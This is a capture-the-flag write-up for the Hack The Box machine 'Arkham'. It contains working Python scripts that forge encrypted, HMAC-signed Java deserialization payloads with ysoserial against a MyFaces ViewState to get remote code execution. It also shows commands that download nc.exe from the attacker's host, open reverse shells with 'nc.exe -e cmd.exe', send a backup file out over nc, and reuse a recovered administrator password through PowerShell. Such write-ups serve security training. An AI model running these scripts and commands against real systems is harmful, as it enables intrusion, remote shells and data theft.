Arkham
10/08/2019
Arkham is a pretty difficult box for being ranked as medium. The toughest part is achieving access to the system via a Java deserialization vulnerability where the vulnerable object should be encrypted to make it work. Then, escalate privileges is quite easy, just find another user's password who is allowed to access the entire filesystem.
User
First run nmap
to see we have an IIS
on port 80
, an Apache
in port 8080
and SMB
enabled.
root@kali:~/htb/arkham# nmap -sC -sV 10.10.10.130 Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-20 14:50 EDT Nmap scan report for 10.10.10.130 Host is up (0.068s latency). Not shown: 995 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: IIS Windows Server 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 8080/tcp open http Apache Tomcat 8.5.37 | http-methods: |_ Potentially risky methods: PUT DELETE |_http-title: Mask Inc. Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: -1s, deviation: 0s, median: -1s | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2019-05-20 14:51:12 |_ start_date: N/A
If we list the available shares with smbclient
we can see the following ones.
root@kali:~/htb/arkham# smbclient -L //10.10.10.130 Enter WORKGROUP\root's password: Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin BatShare Disk Master Wayne's secrets C$ Disk Default share IPC$ IPC Remote IPC Users Disk
We have read permissions on BatShare
and in this share we only have one file appserver.zip
, let's download it to see what's in there.
root@kali:~/htb/arkham# smbclient //10.10.10.130/BatShare Enter WORKGROUP\root's password: Try "help" to get a list of possible commands. smb: \> ls . D 0 Sun Feb 3 08:00:10 2019 .. D 0 Sun Feb 3 08:00:10 2019 appserver.zip A 4046695 Fri Feb 1 01:13:37 2019 5158399 blocks of size 4096. 2120122 blocks available smb: \> get appserver.zip getting file \appserver.zip of size 4046695 as appserver.zip (490.0 KiloBytes/sec) (average 490.0 KiloBytes/sec)
Unzip it to find two files.
root@kali:~/htb/arkham# unzip appserver.zip Archive: appserver.zip inflating: IMPORTANT.txt inflating: backup.img
The txt
has the following message.
root@kali:~/htb/arkham# cat IMPORTANT.txt Alfred, this is the backup image from our linux server. Please see that The Joker or anyone else doesn't have unauthenticated access to it. - Bruce
And the other file is a LUKS
encrypted image, which means we'll need a password to see what's inside.
root@kali:~/htb/arkham# file backup.img backup.img: LUKS encrypted file, ver 1 [aes, xts-plain64, sha256] UUID: d931ebb1-5edc-4453-8ab1-3d23bb85b38e
We're going to brute force the password, but throwing the entire rockyou.txt
would take too much, so we can create a subset of it with only the passwords which contain batman
, as the box name is batman's city.
root@kali:~/htb/arkham# grep batman /usr/share/wordlists/rockyou.txt > batman_rocks.txt
Then run hashcat
and eventually it will find the correct password is batmanforever
.
# hashcat -m 14600 -a 0 backup.img /usr/share/wordlists/rockyou.txt batmanforever
Now, having the password we can mount the image.
root@kali:~/htb/arkham# cryptsetup luksOpen backup.img backup Enter passphrase for backup.img: batmanforever
Confirm the image is mapped correctly.
root@kali:~/htb/arkham# cryptsetup -v status backup /dev/mapper/backup is active and is in use. type: LUKS1 cipher: aes-xts-plain64 keysize: 256 bits key location: dm-crypt device: /dev/loop0 loop: /root/htb/arkham/backup.img sector size: 512 offset: 4096 sectors size: 22528 sectors mode: read/write Command successful.
Here we have the script of the film Batman Begins, a couple of pictures and some Tomcat
configuration files.
root@kali:/media/root/af474e94-894e-4bb6-897a-adc82884b3d8# ls -laR .: total 18 drwxr-xr-x 4 root root 1024 Dec 25 01:00 . drwxr-x---+ 3 root root 4096 May 25 06:16 .. drwx------ 2 root root 12288 Dec 25 00:59 lost+found drwxrwxr-x 4 root root 1024 Dec 25 00:23 Mask ./lost+found: total 13 drwx------ 2 root root 12288 Dec 25 00:59 . drwxr-xr-x 4 root root 1024 Dec 25 01:00 .. ./Mask: total 882 drwxrwxr-x 4 root root 1024 Dec 25 00:23 . drwxr-xr-x 4 root root 1024 Dec 25 01:00 .. drwxr-xr-x 2 root root 1024 Dec 25 00:22 docs -rw-rw-r-- 1 root root 96978 Dec 25 00:18 joker.png -rw-rw-r-- 1 root root 105374 Dec 25 00:20 me.jpg -rw-rw-r-- 1 root root 687160 Dec 25 00:20 mycar.jpg -rw-rw-r-- 1 root root 7586 Dec 25 00:19 robin.jpeg drwxr-xr-x 2 root root 1024 Dec 25 00:24 tomcat-stuff ./Mask/docs: total 198 drwxr-xr-x 2 root root 1024 Dec 25 00:22 . drwxrwxr-x 4 root root 1024 Dec 25 00:23 .. -rw-r--r-- 1 root root 199998 Jun 15 2017 Batman-Begins.pdf ./Mask/tomcat-stuff: total 193 drwxr-xr-x 2 root root 1024 Dec 25 00:24 . drwxrwxr-x 4 root root 1024 Dec 25 00:23 .. -rw-r--r-- 1 root root 1368 Dec 25 00:23 context.xml -rw-r--r-- 1 root root 832 Dec 25 00:24 faces-config.xml -rw-r--r-- 1 root root 1172 Dec 25 00:23 jaspic-providers.xml -rw-r--r-- 1 root root 39 Dec 25 00:24 MANIFEST.MF -rw-r--r-- 1 root root 7678 Dec 25 00:23 server.xml -rw-r--r-- 1 root root 2208 Dec 25 00:23 tomcat-users.xml -rw-r--r-- 1 root root 174021 Dec 25 00:23 web.xml -rw-r--r-- 1 root root 3498 Dec 25 00:24 web.xml.bak
What is interesting here is the following configuration in web.xml.bak
which we'll need later.
root@kali:/media/root/af474e94-894e-4bb6-897a-adc82884b3d8/Mask/tomcat-stuff# cat web.xml.bak ... <context-param> <description>State saving method: 'client' or 'server' (=default). See JSF Specification 2.5.2</description> <param-name>javax.faces.STATE_SAVING_METHOD</param-name> <param-value>server</param-value> </context-param> <context-param> <param-name>org.apache.myfaces.SECRET</param-name> <param-value>SnNGOTg3Ni0=</param-value> </context-param> <context-param> <param-name>org.apache.myfaces.MAC_ALGORITHM</param-name> <param-value>HmacSHA1</param-value> </context-param> <context-param> <param-name>org.apache.myfaces.MAC_SECRET</param-name> <param-value>SnNGOTg3Ni0=</param-value> </context-param> ...
Having this, now we can move forward to another service.
In port 80
we had an IIS
running and if we get inside, we should see there's only the default picture, so nothing interesting.
On the other hand, on the Tomcat
server on port 8080
we seem to have a configured website.
If we click on the Subscription link on the top we'll get redirected to /userSubscribe.faces
where there's the following form.
On the form there's this hidden input field.
<input type="hidden" name="javax.faces.ViewState" id="javax.faces.ViewState" value="wHo0wmLu5ceItIi+I7XkEi1GAb4h12WZ894pA+Z4OH7bco2jXEy1Rd1x5LURafml70KtDtngjDm0mNzA9qHjYerxo0jW7zu1Qxb78J8MRRgV/oWNsOb5owxiays=" />
This ViewState
attribute is a mechanism that MyFaces
uses to to store the current state of the view. This state is a java serialized object, which means we'll probably have to make a java deserialization attack.
On the MyFaces documentation there's all the information to learn how these objects are being encrypted, and therefore how should be decrypted.
Assuming this server is using the configuration we found on the previous file and based on the default values described in the documentation, we know the following:
- STATE_SAVING_METHOD: server
- SECRET: SnNGOTg3Ni0=
- MAC_ALGORITHM: HmacSHA1
- ENCRYPTION_ALGORITHM: DES (default)
- PADDING: PKCS5 (default)
Because the state is being stored on the server side, the value of the ViewState
is a serialized java object which identifies a certain state.
In our case, these are the steps we have to follow to decrypt the ViewState
:
- URL decode the
ViewState
value (because I grabbed it from burp). - Base64 decode the
ViewState
value. - Base64 decode the secret.
- DES decrypt the decoded
ViewState
value with the decoded secret.
I used the following python
script to reproduce the decrypt steps.
import urllib import sys import base64 from Crypto.Cipher import DES secret = base64.b64decode("SnNGOTg3Ni0=") obj = DES.new(secret, DES.MODE_ECB) payload = sys.argv[1] payload = urllib.unquote(payload) payload = base64.b64decode(payload) payload += (8 - len(payload) % 8) * 'X' # must be a multiple of 8 in length payload = obj.decrypt(payload) print payload
Indeed, on the decrypted value we can see our ViewState
is a java serialized object.
root@kali:~/htb/arkham# python decrypt.py wHo0wmLu5ceItIi+I7XkEi1GAb4h12WZ894pA+Z4OH7bco2jXEy1Rd1x5LURafml70KtDtngjDm0mNzA9qHjYerxo0jW7zu1Qxb78J8MRRgV/oWNsOb5owxiays%3D ��ur[Ljava.lang.Object;��X�s)lxpt6pt/userSubscribe.jsp��Z�ߴ�9�l�1�/�i���@�3�
Now what we have to do is create a malicious java serialized object to be able to execute commands on the system, replacing the ViewState
value on the POST request. For this task I used ysoserial
.
ysoserial
allows us to create java serialized objects selecting a payload type and the command we want to execute.
root@kali:/opt# java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections1 "ping 10.10.16.15" | base64 -w 0 rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AB5zcQB+ABZ1cQB+ABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB+AB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAD3BpbmcgMTAuMTAuMTYuM3QABGV4ZWN1cQB+AB4AAAABcQB+ACNzcQB+ABFzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh2cgASamF2YS5sYW5nLk92ZXJyaWRlAAAAAAAAAAAAAAB4cHEAfgA6
Unfortunately, if we send directly this value it won't work, because it has to be encrypted as we saw before.
These are the steps we have to follow to encrypt and sign our payload to make it work correctly in our case.
- Base64 decode the secret.
- Create the
ysoserial
payload. - Encrypt the payload with the decoded secret using
DES
andPKCS5
padding. - Create a
HmacSHA1
signature of the encrypted value and the secret. - Append the signature to the encrypted payload.
- Base64 encode the payload.
- URL encode the payload.
- Send.
Because I didn't know which payload type would work I tried all of them to see which one was accepted.
To automate the process I made the following python
script where I make a payload that should run a ping
against my machine.
import urllib import base64 import subprocess import requests import hashlib import pyDes import hmac url = "http://10.10.10.130:8080/userSubscribe.faces" r = requests.get(url) cookie = r.headers['set-cookie'] secret = base64.b64decode("SnNGOTg3Ni0=") cipher = pyDes.des(secret, pad=None, padmode=pyDes.PAD_PKCS5) types = ["BeanShell1", "C3P0", "Clojure", "CommonsBeanutils1", "CommonsCollections1", "CommonsCollections2", "CommonsCollections3", "CommonsCollections4", "CommonsCollections5", "CommonsCollections6", "FileUpload1", "Groovy1", "Hibernate1", "Hibernate2", "JBossInterceptors1", "JRMPClient", "JRMPListener", "JSON1", "JavassistWeld1", "Jdk7u21", "Jython1", "MozillaRhino1", "Myfaces1", "Myfaces2", "ROME", "Spring1", "Spring2", "URLDNS", "Wicket1"] for type in types: try: cmd = 'ping 10.10.16.50' ysoserial = 'java -jar /opt/ysoserial-master-SNAPSHOT.jar ' + type + ' "' + cmd + '"' payload = subprocess.check_output(ysoserial, shell=True) payload = cipher.encrypt(payload) hmacSignature = hmac.new(secret, payload, hashlib.sha1).digest() payload = base64.b64encode(payload + hmacSignature) payload = urllib.quote(payload) headers = {"Cookie": cookie, "Content-Type": "application/x-www-form-urlencoded"} data = "j_id_jsp_1623871077_1%3Aemail=caca&j_id_jsp_1623871077_1%3Asubmit=SIGN+UP&j_id_jsp_1623871077_1_SUBMIT=1&javax.faces.ViewState=" + payload r = requests.post(url, data=data, headers=headers) except: continue
Using tcpdump
while the script runs we can see a couple of pings are sent, which means we have RCE!
root@kali:~/htb/arkham# tcpdump -i tun0 icmp tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes 16:04:28.266833 IP 10.10.10.130 > kali: ICMP echo request, id 1, seq 27, length 40 16:04:28.266872 IP kali > 10.10.10.130: ICMP echo reply, id 1, seq 27, length 40 16:04:28.931960 IP 10.10.10.130 > kali: ICMP echo request, id 1, seq 28, length 40 16:04:28.932034 IP kali > 10.10.10.130: ICMP echo reply, id 1, seq 28, length 40 16:04:29.390201 IP 10.10.10.130 > kali: ICMP echo request, id 1, seq 29, length 40 16:04:29.390222 IP kali > 10.10.10.130: ICMP echo reply, id 1, seq 29, length 40 16:04:29.932976 IP 10.10.10.130 > kali: ICMP echo request, id 1, seq 30, length 40
To see which payload types work, we can modify the command to execute a curl
using as the path the payload type name, like this.
import urllib import base64 import subprocess import requests import hashlib import pyDes import hmac url = "http://10.10.10.130:8080/userSubscribe.faces" r = requests.get(url) cookie = r.headers['set-cookie'] secret = base64.b64decode("SnNGOTg3Ni0=") cipher = pyDes.des(secret, pad=None, padmode=pyDes.PAD_PKCS5) types = ["BeanShell1", "C3P0", "Clojure", "CommonsBeanutils1", "CommonsCollections1", "CommonsCollections2", "CommonsCollections3", "CommonsCollections4", "CommonsCollections5", "CommonsCollections6", "FileUpload1", "Groovy1", "Hibernate1", "Hibernate2", "JBossInterceptors1", "JRMPClient", "JRMPListener", "JSON1", "JavassistWeld1", "Jdk7u21", "Jython1", "MozillaRhino1", "Myfaces1", "Myfaces2", "ROME", "Spring1", "Spring2", "URLDNS", "Wicket1"] for type in types: try: cmd = 'curl http://10.10.16.50/' + type ysoserial = 'java -jar /opt/ysoserial-master-SNAPSHOT.jar ' + type + ' "' + cmd + '"' payload = subprocess.check_output(ysoserial, shell=True) payload = cipher.encrypt(payload) hmacSignature = hmac.new(secret, payload, hashlib.sha1).digest() payload = base64.b64encode(payload + hmacSignature) payload = urllib.quote(payload) headers = {"Cookie": cookie, "Content-Type": "application/x-www-form-urlencoded"} data = "j_id_jsp_1623871077_1%3Aemail=caca&j_id_jsp_1623871077_1%3Asubmit=SIGN+UP&j_id_jsp_1623871077_1_SUBMIT=1&javax.faces.ViewState=" + payload r = requests.post(url, data=data, headers=headers) except: continue
And using SimpleHTTPServer
module, we can see only CommonsCollections5
and CommonsCollections6
worked.
root@kali:~/htb/arkham# python -m SimpleHTTPServer 80 Serving HTTP on 0.0.0.0 port 80 ... 10.10.10.130 - - [26/May/2019 17:41:14] code 404, message File not found 10.10.10.130 - - [26/May/2019 17:41:14] "GET /CommonsCollections5 HTTP/1.1" 404 - 10.10.10.130 - - [26/May/2019 17:41:14] code 404, message File not found 10.10.10.130 - - [26/May/2019 17:41:14] "GET /CommonsCollections6 HTTP/1.1" 404 - 10.10.10.130 - - [26/May/2019 17:48:34] code 404, message File not found
Now, change the script a bit to execute the command we want and only use CommonsCollections6
payload type, which we know works.
import urllib import base64 import subprocess import requests import hashlib import pyDes import hmac import sys url = "http://10.10.10.130:8080/userSubscribe.faces" r = requests.get(url) cookie = r.headers['set-cookie'] cmd = sys.argv[1] secret = base64.b64decode("SnNGOTg3Ni0=") cipher = pyDes.des(secret, pad=None, padmode=pyDes.PAD_PKCS5) ysoserial = 'java -jar /opt/ysoserial-master-SNAPSHOT.jar CommonsCollections6 "' + cmd + '"' payload = subprocess.check_output(ysoserial, shell=True) payload = cipher.encrypt(payload) hmacSignature = hmac.new(secret, payload, hashlib.sha1).digest() payload = base64.b64encode(payload + hmacSignature) payload = urllib.quote(payload) headers = {"Cookie": cookie, "Content-Type": "application/x-www-form-urlencoded"} data = "j_id_jsp_1623871077_1%3Aemail=caca&j_id_jsp_1623871077_1%3Asubmit=SIGN+UP&j_id_jsp_1623871077_1_SUBMIT=1&javax.faces.ViewState=" + payload r = requests.post(url, data=data, headers=headers)
Then, to get a shell on the system I downloaded nc
from my machine and used it to execute a reverse shell.
root@kali:~/htb/arkham# python rce.py "curl http://10.10.16.45/nc.exe -o ." root@kali:~/htb/arkham# python rce.py "nc.exe 10.10.16.45 6969 -e cmd.exe"
And we should get a shell as alfred
if we were listening on the specified port.
root@kali:~/htb/arkham# nc -nlvp 6969 listening on [any] 6969 ... connect to [10.10.16.45] from (UNKNOWN) [10.10.10.130] 49991 Microsoft Windows [Version 10.0.17763.107] (c) 2018 Microsoft Corporation. All rights reserved. C:\tomcat\apache-tomcat-8.5.37\bin>whoami whoami arkham\alfred
We have the user flag on Alfred's desktop.
C:\Users\Alfred\Desktop>type user.txt
type user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Privilege Escalation
On Alfred downloads we have a backups folder with a zip
file.
C:\Users\Alfred\Downloads\backups>dir dir Volume in drive C has no label. Volume Serial Number is FA90-3873 Directory of C:\Users\Alfred\Downloads\backups 02/03/2019 08:41 AM <DIR> . 02/03/2019 08:41 AM <DIR> .. 02/03/2019 08:41 AM 124,257 backup.zip 1 File(s) 124,257 bytes 2 Dir(s) 7,414,816,768 bytes free
Using nc
we can send this file to our machine to unzip it and see what's inside.
C:\Users\Alfred\Downloads\backups>C:\tomcat\apache-tomcat-8.5.37\bin\nc.exe 10.10.16.45 6868 < backup.zip C:\tomcat\apache-tomcat-8.5.37\bin\nc.exe 10.10.16.45 6868 < backup.zip
root@kali:~/htb/arkham# nc -nlvp 6868 > backup.zip listening on [any] 6868 ... connect to [10.10.16.45] from (UNKNOWN) [10.10.10.130] 50024
There we have an .ost
file.
root@kali:~/htb/arkham# unzip backup.zip Archive: backup.zip inflating: alfred@arkham.local.ost
Which is an Outlook email folder.
root@kali:~/htb/arkham# file alfred@arkham.local.ost alfred@arkham.local.ost: Microsoft Outlook email folder
We can retrieve the emails using readpst
.
root@kali:~/htb/arkham# readpst alfred@arkham.local.ost Opening PST file and indexes... Processing Folder "Deleted Items" Processing Folder "Inbox" Processing Folder "Outbox" Processing Folder "Sent Items" Processing Folder "Calendar" Processing Folder "Contacts" "Inbox" - 0 items done, 7 items skipped. Processing Folder "Conversation Action Settings" Processing Folder "Drafts" Processing Folder "Journal" Processing Folder "Junk E-Mail" Processing Folder "Notes" Processing Folder "Tasks" Processing Folder "Sync Issues" Processing Folder "RSS Feeds" Processing Folder "Quick Step Settings" "alfred@arkham.local.ost" - 15 items done, 0 items skipped. "Calendar" - 0 items done, 3 items skipped. Processing Folder "Conflicts" Processing Folder "Local Failures" Processing Folder "Server Failures" "Sync Issues" - 3 items done, 0 items skipped. "Drafts" - 1 items done, 0 items skipped.
On the Drafts folder we have the following mail with an attached picture.
root@kali:~/htb/arkham# cat Drafts.mbox From "MAILER-DAEMON" Thu Jan 1 00:00:00 1970 From: <MAILER-DAEMON> Subject: To: batman MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--boundary-LibPST-iamunique-897628897_-_-" ... </o:shapelayout></xml><![endif]--></head><body lang=EN-US link="#0563C1" vlink="#954F72" style='tab-interval:.5in'><div class=WordSection1><p class=MsoNormal>Master Wayne stop forgetting your password<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal><span style='mso-no-proof:yes'><img width=677 height=343 id="Picture_x0020_1" src="cid:image001.png@01D4BB4A.F5061EA0"></span><o:p></o:p></p></div></body></html> ----boundary-LibPST-iamunique-897628897_-_- Content-Type: image/png Content-Transfer-Encoding: base64 Content-ID: <image001.png@01D4BB4A.F5061EA0> Content-Disposition: attachment; filename*=utf-8''image001.png; filename="image001.png" iVBORw0KGgoAAAANSUhEUgAAAqUAAAFXCAIAAAAUCKDqAAAAAXNSR0IArs4c6QAAJwVJREFUeF7t 3V+oZdd5GPCjUmibujISRUNh5GhiCya2hI0lVXSoEwXXCRMoqpUXyzR6MFaUIlwh2S9+kB+sB7/Y ElNjWskmDzJ0/FKpItCBGDGSBROGKMYgoaqM3XEsQZBpLazUTelLu8/Z9+677/679jn7O3edO7/L IEbn7v2tb/2+dfa3/5w797qPfuyOhS8CBAgQIEDgWAtcV/T7u7994VjP0eQIECBAYIcF/vKPz97x ...
Decode the base64 value to get the image.
root@kali:~/htb/arkham# echo iVBORw0KGgoAAAANSUhEUgAAAqUAAAFXCAIA... | base64 -d > image001.png
In the picture we have Batman's password (Zx^#QZX+T!123
).
And checking batman's information we can see he's part of the Administrators local group.
C:\Users>net user batman net user batman User name Batman Full Name Comment User's comment Country/region code 001 (United States) Account active Yes Account expires Never Password last set 2/3/2019 9:25:50 AM Password expires Never Password changeable 2/3/2019 9:25:50 AM Password required Yes User may change password Yes Workstations allowed All Logon script User profile Home directory Last logon 5/28/2019 1:52:48 AM Logon hours allowed All Local Group Memberships *Administrators *Remote Management Use *Users Global Group memberships *None
Change to a PowerShell shell.
C:\Users>powershell powershell Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. PS C:\Users>
And execute nc
as batman to create another reverse shell.
PS C:\Users> $password = "Zx^#QZX+T!123" | ConvertTo-SecureString -AsPlainText -Force PS C:\Users> $cred = New-Object System.Management.Automation.PSCredential -ArgumentList "Batman",$password PS C:\Users> Invoke-Command -ScriptBlock {C:\tomcat\apache-tomcat-8.5.37\bin\nc.exe 10.10.16.45 6767 -e cmd.exe} -Credential $cred -computername localhost
We get a new shell as batman.
root@kali:~/htb/arkham# nc -nlvp 6767 listening on [any] 6767 ... connect to [10.10.16.45] from (UNKNOWN) [10.10.10.130] 50106 Microsoft Windows [Version 10.0.17763.107] (c) 2018 Microsoft Corporation. All rights reserved. C:\Users\Batman\Documents>whoami whoami arkham\batman
But we still can't access to the Administrator folder.
C:\Users>cd Administrator cd Administrator Access is denied.
But as we saw on the image we can mount shares, so we're going to map the C$
volume in G:
.
C:\Users>net use G: \\10.10.10.130\C$ net use G: \\10.10.10.130\C$ The command completed successfully.
Now move to G:
where we have the entire filesystem.
C:\Users>G: G: G:\>dir dir Volume in drive G has no label. Volume Serial Number is FA90-3873 Directory of G:\ 02/03/2019 06:30 PM <DIR> inetpub 09/15/2018 12:49 PM <DIR> PerfLogs 02/03/2019 09:29 AM <DIR> Program Files 09/15/2018 02:36 PM <DIR> Program Files (x86) 02/01/2019 09:56 AM <DIR> tomcat 02/03/2019 06:54 PM <DIR> Users 02/03/2019 06:09 PM <DIR> Windows 0 File(s) 0 bytes 7 Dir(s) 7,410,044,928 bytes free
Now we do can access to the Administrator folder and read root's flag.
G:\Users\Administrator\Desktop>type root.txt
type root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Another way is, instead of mounting the entire filesystem we could simply type root's flag.
C:\Users>type \\10.10.10.130\C$\Users\Administrator\Desktop\root.txt
type \\10.10.10.130\C$\Users\Administrator\Desktop\root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX